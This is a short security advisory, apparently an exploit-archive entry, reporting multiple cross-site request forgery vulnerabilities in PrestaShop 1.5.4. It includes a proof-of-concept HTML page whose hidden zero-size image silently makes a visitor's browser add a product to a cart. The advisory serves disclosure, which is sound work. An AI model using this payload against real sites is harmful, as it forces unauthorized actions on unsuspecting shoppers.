PrestaShop – Multiple Cross-Site Request Forgery Vulnerabilities
source: https://www.securityfocus.com/bid/61158/info PrestaShop is prone to multiple cross-site request-forgery vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. PrestaShop 1.5.4 is vulnerable; other versions may also be affected. <html> <head> <body> <img src="http://www.example.com/language/cart?add=&id_product=[Product ID]" width=0 height=0> </body> </head> </html> |